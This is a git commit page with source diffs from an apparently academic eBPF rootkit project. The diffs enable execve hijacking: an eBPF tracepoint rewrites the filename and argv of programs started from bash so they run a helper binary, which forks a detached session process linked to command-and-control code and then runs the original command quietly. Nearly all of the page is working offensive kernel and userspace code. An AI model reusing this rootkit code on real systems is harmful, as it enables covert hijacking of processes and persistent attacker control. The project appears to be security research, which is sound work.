Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes

This commit is contained in:
h3xduck
2022-05-07 10:36:46 -04:00
parent cceca23478
commit f6a4c1daa0
8 changed files with 2308 additions and 1548 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -20,6 +20,9 @@
//EXECUTION HIJACKING //EXECUTION HIJACKING
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0" #define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
#define EXEC_HIJACK_ACTIVE_TEMP 0 #define EXEC_HIJACK_ACTIVE_TEMP 1
#define TASK_COMM_NAME_RESTRICT_HIJACK "bash"
#define TASK_COMM_RESTRICT_HIJACK_ACTIVE 1
#endif #endif

View File

@@ -86,10 +86,23 @@ static __always_inline int test_write_user_unique(struct sys_execve_enter_ctx *c
static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx, __u64 pid_tgid){ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx, __u64 pid_tgid){
//Check if the exec hijacker is active already //Check if the exec hijacker is active already
char comm[TASK_COMM_LEN] = {0};
int err = bpf_get_current_comm(comm, sizeof(comm));
if(hijacker_state == 1 || EXEC_HIJACK_ACTIVE_TEMP == 0){ if(hijacker_state == 1 || EXEC_HIJACK_ACTIVE_TEMP == 0){
return 0; return 0;
} }
if(TASK_COMM_RESTRICT_HIJACK_ACTIVE == 1){
char *task = TASK_COMM_NAME_RESTRICT_HIJACK;
if(str_n_compare(comm, TASK_COMM_LEN, task, 5, 5) != 0){
//bpf_printk("failed: %s", comm);
return 0;
}
}
bpf_printk("Starting execve hijacker\n"); bpf_printk("Starting execve hijacker\n");
bpf_printk("EXEC_COMM: %s\n", comm);
char* argv[NUMBER_ARGUMENTS_PARSED] = {0}; char* argv[NUMBER_ARGUMENTS_PARSED] = {0};
//unsigned char* envp[PROGRAM_LENGTH] = {0}; //unsigned char* envp[PROGRAM_LENGTH] = {0};
@@ -144,6 +157,9 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
user-side of the rootkit, and fork a process with the requested execve() call. I considered this not to be good enough. user-side of the rootkit, and fork a process with the requested execve() call. I considered this not to be good enough.
Note: The arguments of this tracepoint are marked as const, so upon futher review we might have an undefined behaviour issue. Note: The arguments of this tracepoint are marked as const, so upon futher review we might have an undefined behaviour issue.
Note: Upon further investigation, I found the answer why executing commands from the bash terminal usually means
the modification is failed:https://lists.linuxfoundation.org/pipermail/iovisor-dev/2017-September/001035.html
Note: Restriction: because of the file locking mechanism in the userspace program, piped programs do not work for this PoC
*/ */
char to_write[sizeof(PATH_EXECUTION_HIJACK_PROGRAM)] = {0}; char to_write[sizeof(PATH_EXECUTION_HIJACK_PROGRAM)] = {0};
@@ -165,10 +181,10 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
} }
if(bpf_probe_write_user((void*)(ctx->filename), (void*)to_write, (__u32)sizeof(PATH_EXECUTION_HIJACK_PROGRAM))<0){ if(bpf_probe_write_user((void*)(ctx->filename), (void*)to_write, (__u32)sizeof(PATH_EXECUTION_HIJACK_PROGRAM))<0){
bpf_printk("Error writing to user memory by %s\n", filename); bpf_printk("Error writing to user memory at filename by %s\n", filename);
//bpf_printk("NEW ARGV0: %s\n", argv[0]); bpf_printk("NEW ARGV0: %s\n", argv[0]);
//bpf_printk("ARGV1: %s\n", argv[1]); bpf_printk("ARGV1: %s\n", argv[1]);
//bpf_printk("ARGV2: %s\n", argv[2]); bpf_printk("ARGV2: %s\n", argv[2]);
return -1; return -1;
} }
@@ -184,8 +200,12 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
} }
//Bpf pointer writing, not possible to be done directly to ctx->argv[0] //Bpf pointer writing, not possible to be done directly to ctx->argv[0]
//TODO: Mention this in the report //TODO: Mention this in the report
if(bpf_probe_write_user((void*)argv[0], (void*)filename, filename_len)<0){ if(bpf_probe_write_user((void*)argv[0], (void*)filename, filename_len+1)<0){
bpf_printk("Error writing to user memory by %s\n", filename); bpf_printk("Error writing to user memory at argv[0] by %s\n", filename);
//If this happens then the filename was modified, but we have failed to modify this so
//we must return the original filename
bpf_probe_write_user((void*)(ctx->filename), (void*)filename, filename_len+1);
bpf_printk("Reversed the previous filename write\n");
return -1; return -1;
} }

Binary file not shown.

View File

@@ -17,6 +17,7 @@
#include <netinet/tcp.h> #include <netinet/tcp.h>
#include <sys/file.h> #include <sys/file.h>
#include <errno.h> #include <errno.h>
#include <syslog.h>
#include "lib/RawTCP.h" #include "lib/RawTCP.h"
#include "../common/c&c.h" #include "../common/c&c.h"
@@ -189,6 +190,7 @@ int main(int argc, char* argv[], char *envp[]){
perror("Fork failed"); perror("Fork failed");
} }
if (pid == 0) { if (pid == 0) {
setsid();
//Child process //Child process
printf("I am the child with pid %d\n", (int) getpid()); printf("I am the child with pid %d\n", (int) getpid());
@@ -213,10 +215,10 @@ int main(int argc, char* argv[], char *envp[]){
//Parent process. Call original hijacked command //Parent process. Call original hijacked command
char* hij_args[argc]; char* hij_args[argc];
hij_args[0] = argv[1]; hij_args[0] = argv[1];
printf("hijacking ARGS%i: %s\n", 0, hij_args[0]); syslog(LOG_DEBUG, "hijacking ARGS%i: %s\n", 0, hij_args[0]);
for(int ii=0; ii<argc-2; ii++){ for(int ii=0; ii<argc-2; ii++){
hij_args[ii+1] = argv[ii+2]; hij_args[ii+1] = argv[ii+2];
printf("hijacking ARGS%i: %s\n", ii+1, hij_args[ii+1]); syslog(LOG_DEBUG, "hijacking ARGS%i: %s\n", ii+1, hij_args[ii+1]);
} }
hij_args[argc-1] = NULL; hij_args[argc-1] = NULL;

Binary file not shown.